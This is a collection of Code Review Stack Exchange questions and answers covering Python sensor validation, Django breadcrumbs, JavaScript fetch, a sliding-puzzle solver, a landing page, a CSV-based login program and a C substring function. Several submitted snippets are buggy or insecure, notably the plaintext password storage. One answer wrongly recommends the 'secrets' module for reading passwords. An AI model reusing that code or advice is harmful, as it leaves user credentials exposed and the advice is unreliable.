"body": "Where do those data actually come from? Do you type them in manually to this file, or are they deserialized from somewhere else?"
}
] |
[
{
"body": "<ul>\n<li>Reformat your numeric data so that the decimals align, and suffix zeros until they're all the same width</li>\n<li>You're using lists and tuples at (seemingly) random. In this use case, apply tuples throughout since none of your data mutate</li>\n<li>The standard acceleration due to earth's gravity isn't 9.81 m/s^2 but rather 9.80665</li>\n<li>There's no point in returning a string from your check routine, even if it were used (which it isn't). "Throw-or-return-None" is a perfectly fine validation strategy. Perhaps you meant to print that string - which is fine if no exceptions are raised.</li>\n<li><code>acc_root_of_sum_of_squares</code> is a verbose way of saying <code>acc_norm</code></li>\n<li>Consider making some domain-specific exceptions, and raising them instead of a broad <code>Exception</code></li>\n<li>Not strictly necessary to log within the check routine itself. If you want you can just log at the outer level. Logging in general seems like overkill for this application but whatever, it's good practice. Also consider logging with <code>exc_info=True</code>.</li>\n<li>Factor out <code>G_FORCE</code> from your range comparison, subtracting it from the middle term.</li>\n<li>Consider adding some structure and types around your data. If you make your data sample a class, <code>validate</code> is a natural fit as a method.</li>\n<li>Drop the exclamation marks; no need to shout</li>\n<li>Consider applying <code>any</code> to simplify your zero checks</li>\n<li>Separate your "unreasonable" from "zero" check</li>\n</ul>\n<h2>Suggested (classes)</h2>\n<pre><code>import logging\nimport math\nimport sys\nfrom dataclasses import dataclass\nfrom typing import Sequence\n\n\nGYRO_TOLERANCE = 0.05\nACC_TOLERANCE = 2\nG_FORCE = 9.80665\n\n\nclass GyroValueError(Exception):\n pass\n\n\nclass AccelValueError(Exception):\n pass\n\n\n@dataclass\nclass IMUDataSample:\n accelerometer: Sequence[float]\n gyro: Sequence[float]\n\n @property\n def accel_norm(self) -> float:\n return math.sqrt(sum(\n a**2 for a in self.accelerometer\n ))\n\n def validate(self) -> None:\n if any(g == 0 for g in self.gyro):\n raise GyroValueError('one of the gyro axes is zero')\n\n if any(abs(g) > GYRO_TOLERANCE for g in self.gyro):\n raise GyroValueError('one of the gyro axis values is out-of-range')\n\n if any(acc == 0 for acc in self.accelerometer):\n raise AccelValueError('one or more of the acc axes is 0')\n\n if not -ACC_TOLERANCE < self.accel_norm - G_FORCE < ACC_TOLERANCE:\n raise AccelValueError('acc value is out of range')\n\n\ndef make_logger():\n log = logging.getLogger(__name__)\n log.setLevel(logging.INFO)\n formatter = logging.Formatter('%(filename)s - %(asctime)s - %(levelname)s - %(message)s')\n handler = logging.StreamHandler(sys.stdout)\n handler.setFormatter(formatter)\n log.addHandler(handler)\n return log\n\n\nlogger = make_logger()\n\n\ndef check_IMU_values() -> None:\n samples = (\n IMUDataSample(\n (-1.412037800268452800, -10.2105936349597930000, 3.3613594121682193000),\n (-0.002742788783767945, -0.0011996491815411065, 0.0032035080745434893),\n ),\n IMUDataSample(\n (-1.408874821800522000, -9.2160227659083520000, 3.3767004976616977000),\n ( 0.003897155186363737, -0.0077723962104497280, 0.0081856905883421360),\n ),\n )\n\n for sample in samples:\n sample.validate()\n\n\nif __name__ == '__main__':\n try:\n check_IMU_values()\n print('The IMU is in order.')\n except (GyroValueError, AccelValueError):\n logger.error('Bad IMU value(s)', exc_info=True)\n</code></pre>\n<h2>Suggested (vectorization)</h2>\n<p>You've given no indication as to the scale of your real data, but this kind of thing is what Numpy was made for. It even has a built-in Frobenius <code>norm</code> function for you. Separate your acceleration and gyroscopic data into one array each, with shape of 3 * number-of-samples. This will likely scale better and in some ways is easier to implement.</p>\n<pre><code>import numpy as np\n\nGYRO_TOLERANCE = 0.05\nACC_TOLERANCE = 2\nG_FORCE = 9.80665\n\n\nclass GyroValueError(Exception):\n pass\n\n\nclass AccelValueError(Exception):\n pass\n\n\ndef accel_norm(accel: np.ndarray) -> np.ndarray:\n return np.linalg.norm(accel, axis=1)\n\n\ndef validate_accel(accel: np.ndarray) -> None:\n if np.any(accel == 0):\n raise AccelValueError('one or more of the acc axes is zero')\n\n norm = accel_norm(accel)\n\n if np.any(np.abs(norm - G_FORCE) > ACC_TOLERANCE):\n raise AccelValueError('acc value is out of range')\n\n\ndef validate_gyro(gyro: np.ndarray) -> None:\n if np.any(gyro == 0):\n raise GyroValueError('one of the gyro axes is zero')\n\n if np.any(np.abs(gyro) > GYRO_TOLERANCE):\n raise GyroValueError('one of the gyro axis values is out-of-range')\n\n\ndef check_IMU_values() -> None:\n accel = np.array(\n (\n (-1.412037800268452800, -10.2105936349597930000, 3.3613594121682193000),\n (-1.408874821800522000, -9.2160227659083520000, 3.3767004976616977000),\n )\n )\n gyro = np.array(\n (\n (-0.002742788783767945, -0.0011996491815411065, 0.0032035080745434893),\n ( 0.003897155186363737, -0.0077723962104497280, 0.0081856905883421360),\n )\n )\n\n validate_accel(accel)\n validate_gyro(gyro)\n\n\nif __name__ == '__main__':\n try:\n check_IMU_values()\n print('The IMU is in order.')\n except (GyroValueError, AccelValueError) as e:\n print(f'Bad IMU value(s): {e}')\n</code></pre>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-03T02:21:45.913",
"Id": "263711",
"ParentId": "263699",
"Score": "4"
}
}
] |
{
"AcceptedAnswerId": "263711",
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-02T13:30:40.093",
"Id": "263699",
"Score": "3",
"Tags": [
"python",
"python-3.x"
],
"Title": "Python sensor calibration tool"
}
|
263699
|
<p>For Django sites with URLs structured in a hierarchical way I found it helpful to have an app to quickly transform an URL like <code>https://example.com/reference/instrument/guitar/</code> into <code>Home > Reference > Instrument > Guitar</code> with links to each path part.</p>
<p>The following code does that:</p>
<ol>
<li>A <em>context processor</em> analyze the URL request e.g. <code>https://example.com/reference/instrument/guitar/</code>, and extracts the path: <code>/reference/instrument/guitar/</code></li>
</ol>
<p><code>dynamic_breadcrumbs/context_processors.py</code></p>
<pre><code>from dynamic_breadcrumbs.utils import Breadcrumbs
def breadcrumbs(request):
"""
Add breadcrumbs dict to the context.
"""
base_url = request.build_absolute_uri("/")
breadcrumbs = Breadcrumbs(base_url=base_url, path=request.path)
return {"breadcrumbs": breadcrumbs.as_list()}
</code></pre>
<ol start="2">
<li>For each part separated by <code>/</code> tries to <code>resolve</code> it and get the
specific <em>View</em> that handles that URL (for customizing that part of the breadcrumbs label, and possibly further customization in the future)</li>
</ol>
<p><code>dynamic_breadcrumbs/utils.py</code></p>
<pre><code>from django.urls import resolve, Resolver404
from urllib.parse import urljoin
from . import app_settings
class Breadcrumbs:
def __init__(self, base_url="", path=None):
self.base_url = base_url
self.path = path
self.items = []
def get_items(self):
if not self.items:
self._fill_items()
return self.items
def as_list(self):
return [item.as_dict() for item in self.get_items()]
def _split_path(self, path=None):
"""Returns a list of the path components between slashes"""
if not path:
path = self.path
if path.endswith("/"):
path = path[:-1]
if path.startswith("/"):
path = path[1:]
result = path.split("/")
return result
def _fill_items(self):
# add home
b_item = BreadcrumbsItem(
base_url=self.base_url,
name_raw=app_settings.DYNAMIC_BREADCRUMBS_HOME_LABEL,
path="/",
position=1
)
self.items.append(b_item)
# add paths
path = "/"
for i, item in enumerate(self._split_path()):
path = urljoin(path, item + "/")
b_item = BreadcrumbsItem(
base_url=self.base_url, name_raw=item, path=path, position=i + 1
)
self.items.append(b_item)
class BreadcrumbsItem:
def __init__(self, name_raw, path, position, base_url=None):
self.name_raw = name_raw
self.path = path
self.position = position
self.resolved_url = self._get_resolved_url_metadata()
self.base_url = base_url
def _get_resolved_url_metadata(self):
try:
func, args, kwargs = resolve(self.path)
return True
except Resolver404:
return False
def get_url(self):
result = urljoin(self.base_url, self.path)
return result
def get_name(self):
# if self.resolved_url:
# # check view
return self.name_raw
def as_dict(self):
result = {
"position": self.position,
"name": self.get_name(),
"path": self.path,
"url": self.get_url(),
"resolved": self.resolved_url,
}
return result
def __str__(self):
return "{}: {} {}".format(self.position, self.name_raw, self.path)
</code></pre>
<ol start="3">
<li>Adds to the request context a list of names and urls</li>
</ol>
<ul>
<li>home -> <a href="https://example.com" rel="nofollow noreferrer">https://example.com</a></li>
<li>reference -> <a href="https://example.com/reference" rel="nofollow noreferrer">https://example.com/reference</a></li>
<li>instrument -> <a href="https://example.com/reference/instrument" rel="nofollow noreferrer">https://example.com/reference/instrument</a></li>
<li>guitar</li>
</ul>
<ol start="4">
<li><p>A template shows the above list with links for each level</p>
<p>Home > Reference > Instrument > Guitar</p>
</li>
</ol>
<p><code>templates/dynamic_breadcrumbs/breadcrumbs.html</code></p>
<pre><code>{% for item in breadcrumbs %}
{% if item.resolved %}<a href="{{item.url}}">{% endif %}
<span>{{item.name}}</span>
<meta itemprop="position" content="{{item.position}}" />
{% if item.resolved %}</a>{%endif%}
{% endfor %}
</code></pre>
<p>The way the <a href="https://github.com/marcanuy/django-dynamic-breadcrumbs/blob/bec4fe6d3f1570731091ec0ae92188ade60e715e/dynamic_breadcrumbs/utils.py#L6" rel="nofollow noreferrer">Breadcrumbs</a> class processes the path can be improved or can be structured in a simpler way?</p>
|
[] |
[] |
{
"AcceptedAnswerId": null,
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-02T14:24:58.897",
"Id": "263700",
"Score": "2",
"Tags": [
"python",
"django",
"url"
],
"Title": "Generate breadcrumbs from URL in Django"
}
|
263700
|
<p>I'm trying to separate the fetch logic from the component, but, due to the nature of async/await functions I have to write an async function to call other async function and I wanted to know if that's ok, if it decreases performance and what are the good practices on this.</p>
<p>Here's an example of a fetch function in the postEvent.js file and then used in the page.js, a page component.</p>
<pre class="lang-js prettyprint-override"><code>//postEvent.js
const postEvent = async newEvent => {
try {
const csrf = await getCsrf()
const apiEnd = "http://localhost:8000/events/";
const options = {
method: "POST",
headers: {
"Content-Type": "application/json",
"X-CSRFToken": csrf,
},
credentials: "include",
body: JSON.stringify(newEvent),
};
const response = await fetch(apiEnd, options); //1st await
return {ok: response.ok, json: await response.json()} //2nd await
} catch (e) {return e;}
}
//page.js
const response = await postEvent(newEvent) //3rd await
response.ok && Router.push(`/events/${response.json.slug}`)
</code></pre>
<p>I could avoid the 3rd await if I put all the code in the same file, but it gets too messy, does the number of awaits matter?</p>
<p>I've been looking it up and came to another approach, where I can make a useFetch function and share the state instead of returning a promise, like so:</p>
<pre class="lang-js prettyprint-override"><code>//useFetch.js
const useEvent = async newEvent => {
const [data, setData] = useState()
useEffect(async () => ({
try {
const csrf = await getCsrf()
const apiEnd = "http://localhost:8000/events/";
const options = {
method: "POST",
headers: {
"Content-Type": "application/json",
"X-CSRFToken": csrf,
},
credentials: "include",
body: JSON.stringify(newEvent),
}
const response = await fetch(apiEnd, options);
setData(await response.json())
} catch (e) {return e;}
},[newEvent])
return data
}
//page.js
const data = useEvent(newEvent) //3rd await
Router.push(`/events/${data.slug}`)
</code></pre>
<p>I guess the second way is better than the first, but I still don't understand the need of useEffect if I'm only going to call it once for event</p>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-03T07:44:33.957",
"Id": "520713",
"Score": "3",
"body": "Welcome to Code Review! We need to know *what the code is intended to achieve*. To help reviewers give you better answers, please add sufficient context to your question, including a title that summarises the *purpose* of the code. We want to know **why** much more than **how**. The more you tell us about [what your code is for](//meta.codereview.stackexchange.com/q/1226), the easier it will be for reviewers to help you. The title needs an [edit] to simply [**state the task**](//meta.codereview.stackexchange.com/q/2436), rather than your concerns about the code."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-04T12:57:11.100",
"Id": "520777",
"Score": "1",
"body": "Thank you, Toby, I tried to be more clear now "
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-04T20:59:53.253",
"Id": "520802",
"Score": "1",
"body": "To make code less messy you can add a base object that implements basic call, then extend it with specific calls and after that use it within other features."
}
] |
[] |
{
"AcceptedAnswerId": null,
"CommentCount": "3",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-02T18:58:37.087",
"Id": "263704",
"Score": "2",
"Tags": [
"javascript",
"performance",
"react.js",
"async-await"
],
"Title": "Fetch in JavaScript, but less messy?"
}
|
263704
|
<p>I'm trying to solve the Sliding Puzzle problem in JavaScript.
The problem:</p>
<pre><code>On an 2 x 3 board, there are five tiles labeled from 1 to 5, and an empty square represented by 0. A move consists of choosing 0 and a 4-directionally adjacent number and swapping it.
The state of the board is solved if and only if the board is [[1,2,3],[4,5,0]].
Given the puzzle board board, return the least number of moves required so that the state of the board is solved. If it is impossible for the state of the board to be solved, return -1.
</code></pre>
<p>For example, the input: <code>[[1,2,3],[4,0,5]]</code> should return 1. Just swap 0 and 5.
Another example, the input: <code>[[4,1,2],[5,0,3]]</code> should return 5 the swaps below:</p>
<pre><code>After move 0: [[4,1,2],[5,0,3]]
After move 1: [[4,1,2],[0,5,3]]
After move 2: [[0,1,2],[4,5,3]]
After move 3: [[1,0,2],[4,5,3]]
After move 4: [[1,2,0],[4,5,3]]
After move 5: [[1,2,3],[4,5,0]]
</code></pre>
<p>My solution:</p>
<pre><code>var slidingPuzzle = function(board) {
const solution = '123450'
// create graph for the board
let map = new Map();
for(let i=0; i<board.length; i++) {
for(let j=0; j<board[i].length; j++) {
let temp = [];
if(i < board.length-1) temp.push(board[i+1][j]);
if(i > 0) temp.push(board[i-1][j]);
if(j < board[i].length-1) temp.push(board[i][j+1]);
if(j > 0) temp.push(board[i][j-1]);
map.set(board[i][j], temp);
}
}
// helper function to swap
const swap = (str, x, y) => {
const array = str.split('');
[array[x], array[y]] = [array[y], array[x]];
return array.join('')
}
// work with string to easily keep the visited
let path = "";
board.map((res) => res.map((val) => path += val));
let visited = new Set();
visited.add(path);
const initialPos = path.indexOf('0');
const queue = [];
queue.push([path, initialPos, 0]);
while(queue.length) {
let [ curPath, pos, moves ] = queue.shift();
if(curPath === solution) return moves;
const nextMoves = map.get(pos);
for(const next of nextMoves) {
const newPath = swap(curPath, pos, next);
if(!visited.has(newPath)) {
queue.push([newPath, next, moves+1]);
visited.add(newPath)
}
}
}
return -1;
};
</code></pre>
<p>I implemented with the BFS algorithm idea, but I can't find the issue in my code.</p>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-03T02:32:13.753",
"Id": "520699",
"Score": "7",
"body": "You mention an issue at the end. Is your code working to the best of your knowledge? If not, please fix the problem [before bringing it to CR](https://codereview.stackexchange.com/help/on-topic). Thanks."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-06T18:48:34.357",
"Id": "520924",
"Score": "0",
"body": "I believe it is working. Were you able to run the code to test it?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-06T19:00:32.523",
"Id": "520926",
"Score": "1",
"body": "Maybe it's a linguistic confusion! I interpret the phrase \"I can't find the issue in my code\" as \"I know there is an issue in my code but I can't find it\". Maybe you intended \"I don't see any issues in my code\" which implies that it's working to the best of your knowledge."
}
] |
[] |
{
"AcceptedAnswerId": null,
"CommentCount": "3",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-02T20:09:36.517",
"Id": "263706",
"Score": "0",
"Tags": [
"javascript",
"algorithm"
],
"Title": "Sliding Puzzle Problem in JavaScript"
}
|
263706
|
<p>I think I went overkill with trying to learn new ways to do the same thing, and this is as most as I could replicate the website from freecodecamp. I'd like advice on ways to do the same things in much easier ways and better overall.</p>
<p><div class="snippet" data-lang="js" data-hide="false" data-console="true" data-babel="false">
<div class="snippet-code">
<pre class="snippet-code-css lang-css prettyprint-override"><code>html {
font-size: 10px;
font-family: 'sans-serif';
--bg-color: #EEEEEE;
}
body {
background-color: var(--bg-color);
}
#header {
/* Fixes the menubar at the top of the page */
position: fixed;
top: 0;
width: 100%;
/* Flex Container */
display: flex;
justify-content: space-between;
/* other */
padding-top: 2rem;
background: var(--bg-color);
z-index:1;
}
#header-img {
width: 31rem;
padding-left: 3rem;
}
#nav-bar {
display: flex;
flex-direction: row;
justify-content: space-evenly;
width: 43%;
}
.nav-link {
font-size: 1.5rem;
color: black;
text-decoration: none;
}
#center-box {
margin: 6rem auto 0 auto;
max-width: 100rem;
display: flex;
flex-direction: column;
justify-content: space-between;
align-items: center;
}
#form {
width: 100%;
display: flex;
flex-direction: column;
justify-content: center;
align-items: center;
}
#form * {
height: 3rem;
margin-left: auto;
margin-right: auto;
}
#comment {
font-size: 1.9rem;
text-align: center;
font-weight: 600;
transform: scaleY(1.2);
white-space: nowrap;
}
#email {
width: 27rem;
}
#submit {
width: 15rem;
margin-top: 1rem;
font-size:1.7rem;
font-weight:bold;
background-color: #F1C40F;
border: none;
cursor: pointer;
transition-duration: 1s;
margin-bottom: 8rem;
}
#submit:hover, .product-select:hover {
background-color: orange;
}
#feature-container {
display: block;
}
#feature-container li {
list-style: none;
padding-left: 13rem;
margin-bottom: 5rem;
}
.featuretitle {
display: block;
font-weight: bold;
font-size: 2rem;
margin-bottom: 0.5rem;
transform: scaleY(1.2);
}
.featuredesc {
font-size: 1.4rem;
line-height: 2rem;
word-wrap: break-word;
}
li#feature1 {
background: url('feature1.png') left center no-repeat;
}
li#feature2 {
background: url('feature2.png') left center no-repeat;
}
li#feature3 {
background: url('feature3.png') left center no-repeat;
}
#video-container {
display: block;
}
#video {
height: 31.5rem;
width: 56rem;
padding-top: 3rem;
padding-bottom: 6rem;
}
#price-container {
display: flex;
flex-direction: row;
height: 31rem;
width: 100%;
justify-content: space-between;
padding-bottom: 5rem;
}
.price-box {
width: 31rem;
height: 32rem;
border: 0.01rem solid black;
position: relative;
}
.price-box span {
display: flex;
justify-content: center;
align-items: center;
width: 100%;
}
.product-title {
height: 16.67%;
background: #DDDDDD;
font-family: 'Lato';
font-size: 140%;
font-weight: bold;
text-transform: uppercase;
}
.product-price {
display: block;
height: 16.67%;
font-size: 200%;
font-weight: bold;
font-family: 'Lato';
transform: scaleY(1.2)
}
.product-description {
display: block;
height: 45%;
font-size: 150%;
line-height: 200%;
text-align: center;
}
.product-select {
height: 13%;
width: 30%;
font-size:1.7rem;
background-color: #F1C40F;
border: none;
cursor: pointer;
transition-duration: 1s;
position: absolute;
left: 0;
right: 0;
margin: 1rem auto 0 auto;
}
#end-banner {
display: flex;
flex-direction: column;
align-items: flex-end;
background: #DDDDDD;
width: 100%;
height: 7rem;
}
#end-banner #links {
width: 25rem;
display: flex;
justify-content: space-evenly;
margin-top: 2.5%;
}
#end-banner #copyrights {
color: #444;
width: 25rem;
font-size: 1.3rem;
transform: scaleY(1.1);
margin-top: 0.8%;
}
@media (max-width: 63rem) {
.price-box {
width: 32%;
height: 100%;
}
}
@media (max-width: 50rem) {
#price-container {
height: 100rem;
flex-direction: column;
justify-content: space-evenly;
align-items: center;
}
.price-box {
width: 30rem;
height: 32rem;
}
}
@media (max-width: 40rem) {
#center-box {
margin: 15rem auto 0 auto;
}
#nav-bar {
flex-direction: column;
text-align: center;
}
}
@media (max-width: 37rem) {
#video-container {
position: relative;
overflow: hidden;
width: 100%;
padding-top: calc((315/560)*100);
}
#video {
width: 100%;
height: calc((315/560)*100);
}
}
@media (max-width: 34rem) {
#header {
flex-direction: column;
justify-content: space-between;
align-items: center;
}
#header-img {
padding-bottom: 1.5rem;
padding-left: 0;
}
.nav-link {
padding-bottom: 0.8rem;
}
#feature-container {
padding-left: 0;
}
#feature-container li {
background: none;
width: 100%;
padding-left: inherit;
}
.featuretitle {
text-align: center;
}
.featuredesc {
text-align: center;
}
}</code></pre>
<pre class="snippet-code-html lang-html prettyprint-override"><code><html>
<head>
<meta charset="UTF-8">
<title> A Product Landing Page </title>
<link rel="stylesheet" type="text/css" href="A Product Landing Page.css"/>
</head>
<body>
<script src="https://cdn.freecodecamp.org/testable-projects-fcc/v1/bundle.js"></script>
<header id="header">
<img id="header-img"
src="https://cdn.freecodecamp.org/testable-projects-fcc/images/product-landing-page-logo.png">
<nav id="nav-bar">
<a class="nav-link" href="#center-box">Features</a>
<a class="nav-link" href="#video-container">How It Works</a>
<a class="nav-link" href="#price-container">Pricing</a>
</nav>
</header>
<div id="center-box">
<!-- The Form -->
<form id="form" method='POST' action='https://www.freecodecamp.com/email-submit'>
<p id="comment">Handcrafted, home-made masterpieces</p>
<input type="email" name="email" id="email" placeholder="Enter your email address" required>
<input type="submit" name="email-submit" id="submit" value="GET STARTED">
</form>
<!-- The Features -->
<ul id="feature-container">
<li id='feature1'>
<span class='featuretitle'>Premium Materials</span>
<span class='featuredesc'>Our trombones use the shiniest brass which is sourced locally. This will increase the longevity of your purchase.</span>
</li>
<li id='feature2'>
<span class='featuretitle'>Fast Shipping</span>
<span class='featuredesc'>We make sure you recieve your trombone as soon as we have finished making it. We also provide free returns if you are not satisfied.</span>
</li>
<li id='feature3'>
<span class='featuretitle'>Quality Assurance</span>
<span class='featuredesc'>For every purchase you make, we will ensure there are no damages or faults and we will check and test the pitch of your instrument.</span>
</li>
</ul>
<!-- The Video -->
<div id='video-container'>
<iframe id="video"
src="https://www.youtube.com/embed/y8Yv4pnO7qc?showinfo=0&iv_load_policy=3&controls=0"
title="YouTube video player" frameborder="0"
allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture"
allowfullscreen>
</iframe>
</div>
<!-- The Price Options -->
<div id='price-container'>
<div class='price-box'>
<span class='product-title'>Tenor Trombone</span>
<span class='product-price'>$600</span>
<span class='product-description'>Lorem ipsum.<br>Lorem ipsum.<br>Lorem ipsum dolor.<br>Lorem ipsum.</span>
<input type="submit" name="product-select" class="product-select" value="SELECT">
</div>
<div class='price-box'>
<span class='product-title'>Bass Trombone</span>
<span class='product-price'>$900</span>
<span class='product-description'>Lorem ipsum.<br>Lorem ipsum.<br>Lorem ipsum dolor.<br>Lorem ipsum.</span>
<input type="submit" name="product-select" class="product-select" value="SELECT">
</div>
<div class='price-box'>
<span class='product-title'>Valve Trombone</span>
<span class='product-price'>$1200</span>
<span class='product-description'>Plays similar to a Trumpet<br>Great for Jazz Bands<br>Lorem ipsum dolor.<br>Lorem ipsum.</span>
<input type="submit" name="product-select" class="product-select" value="SELECT">
</div>
</div>
<!-- End Banner -->
<div id='end-banner'>
<div id="links">
<a class="nav-link" href="">Privacy</a>
<a class="nav-link" href="">Terms</a>
<a class="nav-link" href="">Contact</a>
</div>
<p id='copyrights'>Copyright 2016, Original Trombones</p>
</div>
</div>
</body>
</html></code></pre>
</div>
</div>
</p>
|
[] |
[] |
{
"AcceptedAnswerId": null,
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-03T04:57:22.510",
"Id": "263716",
"Score": "1",
"Tags": [
"html",
"css"
],
"Title": "Product Landing Page"
}
|
263716
|
<p>This is my first program that I wrote on my own. Is there something I can improve upon?</p>
<p>There are a few things that still need to be added, such as:</p>
<ul>
<li>Confirm password while registering</li>
<li>Adding a way to get the forgotten password using the email ID</li>
</ul>
<p>But its functionality is minimally complete. Are there any things which professionals see that I can improve or change in this program?</p>
<p><strong>Main File</strong></p>
<pre><code>import Functions
start = ""
while start == "" :
start = input("Type S to Create a Account and Type L to login into your Account: ")
Username_List = Functions.username_list()
if start == "S" or start == "s":
username = input("Enter a Username: ")
for user in Username_List:
while user == username:
username = input("Username Exists, Try Again: ")
password = input("Enter a Password: ")
email_adress = input("Enter Email ID: ")
Functions.sign_up(username,password,email_adress)
start = ""
elif start == "L" or start == "l":
login_username = input("Enter Your Username: ")
while login_username not in Username_List:
print('Username Does not Exist.')
user_input = input("Type R to retry and X to exit: ")
if user_input == "r" or user_input == "R":
login_username = input("Enter Your Username: ")
if user_input == "x" or user_input == "X":
break
if login_username not in Username_List:
print("Invalid Session \n\n")
start = ""
else:
no = Username_List.index(login_username)
password = input("Enter a Password: ")
Functions.extract_matrix(login_username,password,no)
start = ""
else:
print("Invalid Session \n\n")
start = ""
</code></pre>
<p><strong>Functions.py</strong></p>
<pre><code>import csv
def sign_up(username,password,email):
filename = "signup_info.csv"
data = [[username,password,email]]
# writing to csv file
with open(filename, 'a', newline='') as csvfile:
# creating a csv dict writer object
writer = csv.writer(csvfile)
# writing data rows
writer.writerows(data)
def username_list():
username_list=[]
with open('signup_info.csv','r') as f:
for line in f :
username_list.append(line.split(',')[0])
return username_list
def extract_matrix(username,password,no):
password_list = []
email_list = []
username_list = []
with open('signup_info.csv','r') as f:
for line in f:
password_list.append(line.split(',')[1])
for line in f:
email_list.append(line.split(',')[2])
for line in f:
username_list.append(line.split(',')[0])
data_password = password_list[no]
while password != data_password:
print('Incorrect Password')
user_input = input ("Type R to retry and X to exit: ")
if user_input == "r" or user_input == "R":
password = input("Enter Password: ")
if user_input == "x" or user_input == "X":
break
if password == data_password:
print("Login Successful")
else:
print("Invalid Session \n\n")
</code></pre>
|
[] |
[
{
"body": "<h2>User Interface</h2>\n<p>If you really want this to look <strong>professional</strong>, you can try using tkinter to make it a GUI.\nTyping "S" and "L" is unprofessional if you are going to be using this in a production environment.\nIf it's meant to be a simple CLI by all means this is good.\nMaybe you can integrate this with Telegram API or Discord API</p>\n<h2>Security</h2>\n<p>You can also improve it by using a cryptography module to encrypt passwords before storage. Not neccessary at all if not for use in the real world.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-04T18:40:08.270",
"Id": "520795",
"Score": "0",
"body": "Passwords should be stored salted and hashed, never encrypted."
}
],
"meta_data": {
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-03T03:07:46.167",
"Id": "263718",
"ParentId": "263717",
"Score": "-3"
}
},
{
"body": "<p>For your very first program, this is very impressive!</p>\n<p>Your main file should move its code into one or more functions, and call the top-level function via</p>\n<pre><code>if __name__ == '__main__':\n main()\n</code></pre>\n<p>because - if another programmer wants to call into your code but execute parts of it selectively - this will let them.</p>\n<p>Your</p>\n<pre><code>if start == "S" or start == "s":\n</code></pre>\n<p>pattern is more easily expressed as</p>\n<pre><code>if start.lower() == 's':\n</code></pre>\n<p>Does your main loop have an exit feature? Currently it seems not, so you should add one.</p>\n<p>Don't use <code>input</code> to capture a password; use <code>secrets</code> instead.</p>\n<p>You use the <code>csv</code> module to write your data, but</p>\n<ul>\n<li>your file is missing a header, which you should add; and</li>\n<li>you do not properly use the same <code>csv</code> module when reading. You should call into that instead of splitting. Currently, what happens if you enter a username with a comma in it? I suspect that will break your existing parsing but will be fine when using the <code>csv</code> module.</li>\n</ul>\n<p>You need to hash and salt your passwords. This is crucial and cannot be compromised on, no matter the production status or experience level. If you don't know what these mean, it's time for some internet research. If you're not comfortable applying a little crypto, managing your own password storage is not a good choice and you should let a stock secure wallet or credential store library do this for you.</p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-03T13:37:19.537",
"Id": "263723",
"ParentId": "263717",
"Score": "0"
}
}
] |
{
"AcceptedAnswerId": null,
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-03T02:59:52.473",
"Id": "263717",
"Score": "1",
"Tags": [
"python",
"beginner",
"python-3.x",
"authentication"
],
"Title": "Account signup/login program in Python"
}
|
263717
|
<p>I have written a C function that finds the shortest substring that can be repeated to produce the entire string.</p>
<ul>
<li><p>input: <code>abcdeabcde</code><br />
result: <code>abcde</code></p>
</li>
<li><p>input: <code>abababab</code><br />
result: <code>ab</code></p>
</li>
</ul>
<pre><code>#include <stdio.h>
#include <string.h>
int
getr_seq(char *arr, int n, int mid, char *array, int length)
{
int temp = mid;
int i = 0;
int length1 = 0;
while (i < n)
{
if (arr[i] == arr[mid])
{
if (i < temp)
{
array[length] = arr[i];
length++;
}
length1++;
}
i++;
mid++;
if (i == n)
{
if ((length1 + length) != i)
{
return 0;
}
return length;
}
}
}
int
func1(char *arr, int n, char *array, int *ret)
{
for (int i = 1; i < n; i++)
{
if (n % i == 0)
{
int mid = n / i;
*ret = getr_seq(arr, n, mid, array, 0);
if (*ret > 0)
{
for (int j = 0; j < *ret; j++)
;
return *ret;
}
}
}
}
void
main()
{
char arr[10] = "abcdeabcde";
int n = strlen(arr) - 1;
char array[n];
int ret = 0;
func1((char *)&arr, n, (char *)&array, &ret);
printf("(");
for (int x = 0; x < ret; x++)
{
printf("%c", array[x]);
}
printf(")");
}
</code></pre>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-03T09:08:23.793",
"Id": "520715",
"Score": "3",
"body": "As long as nobody has written an answer yet, you are free to modify your code, to better prepare it for a review _by humans_. Please run a code formatter over your code since in its current inconsistent form it is barely readable for experienced programmers. (Or at least it's not fun to read it.)"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-03T10:24:32.440",
"Id": "520716",
"Score": "1",
"body": "Also, please explain your implementation logic for `func1` and `getr_seq`."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-03T10:52:35.433",
"Id": "520717",
"Score": "0",
"body": "The code isn't working."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-03T11:00:01.817",
"Id": "520718",
"Score": "0",
"body": "@PavloSlavynskyy what input did u specified. I checked again thoroughly nothing wrong"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-03T11:03:37.650",
"Id": "520719",
"Score": "0",
"body": "@PavloSlavynskyy Its C code not python or C# code"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-03T11:33:58.330",
"Id": "520721",
"Score": "0",
"body": "In your second example, why is \"_the_ repeated pattern\" in `abababab` exactly `ab`, and not `a` or `abab` or even `ababab`? The introduction to your code should answer this question."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-03T12:00:01.780",
